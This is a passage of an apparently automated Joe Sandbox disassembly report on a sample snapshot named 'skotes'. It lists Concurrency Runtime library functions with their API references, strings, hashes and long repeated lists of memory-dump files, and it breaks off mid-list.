pExecutionResource, xrefs: 009FAF07

Memory Dump Source

Source File: 00000005.00000002.2992110344.00000000009D1000.00000040.00000001.01000000.00000007.sdmp, Offset: 009D0000, based on PE: true

Associated: 00000005.00000002.2991874506.00000000009D0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2992110344.0000000000A32000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2992581593.0000000000A39000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2992772462.0000000000A3B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2993790709.0000000000A47000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2994545376.0000000000B93000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2994674404.0000000000B95000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2994780304.0000000000BB0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2994879159.0000000000BB1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2994971483.0000000000BB2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995071412.0000000000BB3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995199318.0000000000BB4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995199318.0000000000BBE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995393538.0000000000BC0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995537493.0000000000BC1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995717445.0000000000BC2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995870228.0000000000BC5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995977495.0000000000BCE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996066184.0000000000BCF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996164352.0000000000BD0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996276830.0000000000BD7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996370296.0000000000BEE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996469217.0000000000BFD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996573010.0000000000BFE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996667222.0000000000C03000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996769562.0000000000C0E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996861908.0000000000C0F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996953671.0000000000C18000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997073092.0000000000C1B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997170546.0000000000C1C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997361016.0000000000C24000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997437419.0000000000C25000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997530013.0000000000C29000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997645434.0000000000C41000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997718996.0000000000C44000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997799101.0000000000C4B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997893331.0000000000C50000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997989367.0000000000C51000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2998060362.0000000000C54000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2998132345.0000000000C55000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2998243562.0000000000C57000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2998293360.0000000000C59000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2998384288.0000000000C5D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2998980955.0000000000C6C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2999077083.0000000000C6D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2999077083.0000000000C9E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2999820247.0000000000CCF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2999918652.0000000000CD1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2999992053.0000000000CD2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3000115605.0000000000CD6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3000156303.0000000000CD9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3000265269.0000000000CE5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3000344808.0000000000CE6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3000435265.0000000000CE7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3000524694.0000000000CE8000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_9d0000_skotes.jbxd

Yara matches

Similarity

API ID: FreeProcessorVirtual$Concurrency::details::ListRootRoot::std::invalid_argument::invalid_argument
String ID: pExecutionResource
API String ID: 1772865662-359481074
Opcode ID: e32ad5789cbf9cf359fa872375c8adc9b041926b73f210d8301af40c23549244
Instruction ID: d075934e64ebced17e48a4af2634b151071fbb9dfa35cc7aeff95909b23072ff
Opcode Fuzzy Hash: e32ad5789cbf9cf359fa872375c8adc9b041926b73f210d8301af40c23549244
Instruction Fuzzy Hash: 2E21B9B5641309ABCB09EF54C992BAD77A5BF88310F104029F6056B292DBB1AE01CB95

Function 009F4EA2 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 74COMMON

Download Yara Rule

APIs

std::invalid_argument::invalid_argument.LIBCONCRT ref: 009F4F24
Concurrency::details::CacheLocalScheduleGroupSegment::CacheLocalScheduleGroupSegment.LIBCONCRT ref: 009F4F66

Strings

ppVirtualProcessorRoots, xrefs: 009F4F1C
count, xrefs: 009F4EBA

Memory Dump Source

Source File: 00000005.00000002.2992110344.00000000009D1000.00000040.00000001.01000000.00000007.sdmp, Offset: 009D0000, based on PE: true

Associated: 00000005.00000002.2991874506.00000000009D0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2992110344.0000000000A32000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2992581593.0000000000A39000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2992772462.0000000000A3B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2993790709.0000000000A47000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2994545376.0000000000B93000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2994674404.0000000000B95000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2994780304.0000000000BB0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2994879159.0000000000BB1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2994971483.0000000000BB2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995071412.0000000000BB3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995199318.0000000000BB4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995199318.0000000000BBE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995393538.0000000000BC0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995537493.0000000000BC1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995717445.0000000000BC2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995870228.0000000000BC5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995977495.0000000000BCE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996066184.0000000000BCF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996164352.0000000000BD0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996276830.0000000000BD7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996370296.0000000000BEE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996469217.0000000000BFD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996573010.0000000000BFE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996667222.0000000000C03000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996769562.0000000000C0E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996861908.0000000000C0F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996953671.0000000000C18000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997073092.0000000000C1B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997170546.0000000000C1C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997361016.0000000000C24000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997437419.0000000000C25000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997530013.0000000000C29000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997645434.0000000000C41000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997718996.0000000000C44000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997799101.0000000000C4B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997893331.0000000000C50000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997989367.0000000000C51000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2998060362.0000000000C54000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2998132345.0000000000C55000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2998243562.0000000000C57000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2998293360.0000000000C59000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2998384288.0000000000C5D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2998980955.0000000000C6C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2999077083.0000000000C6D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2999077083.0000000000C9E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2999820247.0000000000CCF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2999918652.0000000000CD1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2999992053.0000000000CD2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3000115605.0000000000CD6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3000156303.0000000000CD9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3000265269.0000000000CE5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3000344808.0000000000CE6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3000435265.0000000000CE7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3000524694.0000000000CE8000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_9d0000_skotes.jbxd

Yara matches

Similarity

API ID: CacheGroupLocalSchedule$Concurrency::details::SegmentSegment::std::invalid_argument::invalid_argument
String ID: count$ppVirtualProcessorRoots
API String ID: 2663199487-3650809737
Opcode ID: 8ca41eced8ec6951948a4db895216ecf407985d75a9b656fc21b6ff380bafb5a
Instruction ID: cb8e2c9190c0c6ba88b7852e17267bd844c260955b69f625af0dbf00438cc54d
Opcode Fuzzy Hash: 8ca41eced8ec6951948a4db895216ecf407985d75a9b656fc21b6ff380bafb5a
Instruction Fuzzy Hash: EE21B335600219EFCB14EFA8D991EBE77B5BF88310F104069F60697692DB71AE01CB91

Function 009FB975 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 64COMMONLIBRARYCODE

Download Yara Rule

APIs

Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_error.LIBCONCRT ref: 009FBA0E

Strings

RoInitialize, xrefs: 009FB998
combase.dll, xrefs: 009FB983, 009FB988, 009FB99D, 009FB9C8
RoUninitialize, xrefs: 009FB9C1

Memory Dump Source

Source File: 00000005.00000002.2992110344.00000000009D1000.00000040.00000001.01000000.00000007.sdmp, Offset: 009D0000, based on PE: true

Associated: 00000005.00000002.2991874506.00000000009D0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2992110344.0000000000A32000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2992581593.0000000000A39000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2992772462.0000000000A3B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2993790709.0000000000A47000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2994545376.0000000000B93000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2994674404.0000000000B95000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2994780304.0000000000BB0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2994879159.0000000000BB1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2994971483.0000000000BB2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995071412.0000000000BB3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995199318.0000000000BB4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995199318.0000000000BBE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995393538.0000000000BC0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995537493.0000000000BC1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995717445.0000000000BC2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995870228.0000000000BC5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995977495.0000000000BCE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996066184.0000000000BCF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996164352.0000000000BD0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996276830.0000000000BD7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996370296.0000000000BEE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996469217.0000000000BFD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996573010.0000000000BFE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996667222.0000000000C03000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996769562.0000000000C0E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996861908.0000000000C0F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996953671.0000000000C18000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997073092.0000000000C1B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997170546.0000000000C1C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997361016.0000000000C24000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997437419.0000000000C25000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997530013.0000000000C29000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997645434.0000000000C41000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997718996.0000000000C44000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997799101.0000000000C4B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997893331.0000000000C50000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997989367.0000000000C51000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2998060362.0000000000C54000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2998132345.0000000000C55000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2998243562.0000000000C57000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2998293360.0000000000C59000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2998384288.0000000000C5D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2998980955.0000000000C6C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2999077083.0000000000C6D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2999077083.0000000000C9E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2999820247.0000000000CCF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2999918652.0000000000CD1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2999992053.0000000000CD2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3000115605.0000000000CD6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3000156303.0000000000CD9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3000265269.0000000000CE5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3000344808.0000000000CE6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3000435265.0000000000CE7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3000524694.0000000000CE8000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_9d0000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_error
String ID: RoInitialize$RoUninitialize$combase.dll
API String ID: 348560076-3997890769
Opcode ID: a4edb1decc7219a965b79ecafc329187af5b6bcc69b5f53410a750a5c0dfedca
Instruction ID: 020391a003ac865be18dfb7ffa734b9261db2a45824f0fba09a271fc0f439934
Opcode Fuzzy Hash: a4edb1decc7219a965b79ecafc329187af5b6bcc69b5f53410a750a5c0dfedca
Instruction Fuzzy Hash: 4701F56198531969EB10FBB99D01BBB31DCAF0239CF211829BA50E2181FF74D800C7A1

Function 009F6E1C Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 61COMMON

Download Yara Rule

APIs

SafeRWList.LIBCONCRT ref: 009F6E73

Part of subcall function 009F4E6E: Concurrency::details::_ReaderWriterLock::_AcquireWrite.LIBCONCRT ref: 009F4E7F
Part of subcall function 009F4E6E: List.LIBCMT ref: 009F4E89

std::invalid_argument::invalid_argument.LIBCONCRT ref: 009F6E85
Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_error.LIBCONCRT ref: 009F6EAA

Strings

eventObject, xrefs: 009F6E7D

Memory Dump Source

Source File: 00000005.00000002.2992110344.00000000009D1000.00000040.00000001.01000000.00000007.sdmp, Offset: 009D0000, based on PE: true

Associated: 00000005.00000002.2991874506.00000000009D0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2992110344.0000000000A32000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2992581593.0000000000A39000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2992772462.0000000000A3B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2993790709.0000000000A47000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2994545376.0000000000B93000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2994674404.0000000000B95000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2994780304.0000000000BB0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2994879159.0000000000BB1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2994971483.0000000000BB2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995071412.0000000000BB3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995199318.0000000000BB4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995199318.0000000000BBE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995393538.0000000000BC0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995537493.0000000000BC1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995717445.0000000000BC2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995870228.0000000000BC5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995977495.0000000000BCE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996066184.0000000000BCF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996164352.0000000000BD0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996276830.0000000000BD7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996370296.0000000000BEE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996469217.0000000000BFD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996573010.0000000000BFE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996667222.0000000000C03000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996769562.0000000000C0E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996861908.0000000000C0F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996953671.0000000000C18000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997073092.0000000000C1B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997170546.0000000000C1C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997361016.0000000000C24000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997437419.0000000000C25000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997530013.0000000000C29000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997645434.0000000000C41000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997718996.0000000000C44000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997799101.0000000000C4B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997893331.0000000000C50000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997989367.0000000000C51000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2998060362.0000000000C54000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2998132345.0000000000C55000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2998243562.0000000000C57000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2998293360.0000000000C59000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2998384288.0000000000C5D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2998980955.0000000000C6C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2999077083.0000000000C6D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2999077083.0000000000C9E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2999820247.0000000000CCF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2999918652.0000000000CD1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2999992053.0000000000CD2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3000115605.0000000000CD6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3000156303.0000000000CD9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3000265269.0000000000CE5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3000344808.0000000000CE6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3000435265.0000000000CE7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3000524694.0000000000CE8000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_9d0000_skotes.jbxd

Yara matches

Similarity

API ID: List$AcquireConcurrency::details::_Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_errorLock::_ReaderSafeWriteWriterstd::invalid_argument::invalid_argument
String ID: eventObject
API String ID: 1288476792-1680012138
Opcode ID: 48f7a82fdb3e022908e5aa1467e1850e6f7f3ec58a4f1d974b35a9f6bd15a169
Instruction ID: 576220ab10bda6d1b3c5a6d4f21aac31ccdcfe034b8f6e0be2befc10620eea83
Opcode Fuzzy Hash: 48f7a82fdb3e022908e5aa1467e1850e6f7f3ec58a4f1d974b35a9f6bd15a169
Instruction Fuzzy Hash: CD110E36940318A6DB24EBA4CE46FFE73AC6B01358F204A25F615A60D1DAB0AE04C761

Function 009FA0EE Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 35threadCOMMON

Download Yara Rule

APIs

Concurrency::details::SchedulerProxy::GetCurrentThreadExecutionResource.LIBCMT ref: 009FA102
Concurrency::details::ResourceManager::RemoveExecutionResource.LIBCONCRT ref: 009FA126
std::invalid_argument::invalid_argument.LIBCONCRT ref: 009FA139

Strings

pScheduler, xrefs: 009FA131

Memory Dump Source

Source File: 00000005.00000002.2992110344.00000000009D1000.00000040.00000001.01000000.00000007.sdmp, Offset: 009D0000, based on PE: true

Associated: 00000005.00000002.2991874506.00000000009D0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2992110344.0000000000A32000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2992581593.0000000000A39000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2992772462.0000000000A3B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2993790709.0000000000A47000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2994545376.0000000000B93000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2994674404.0000000000B95000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2994780304.0000000000BB0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2994879159.0000000000BB1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2994971483.0000000000BB2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995071412.0000000000BB3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995199318.0000000000BB4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995199318.0000000000BBE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995393538.0000000000BC0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995537493.0000000000BC1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995717445.0000000000BC2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995870228.0000000000BC5000.00000040.00000001.01000000.00000007.sdmpDownload File
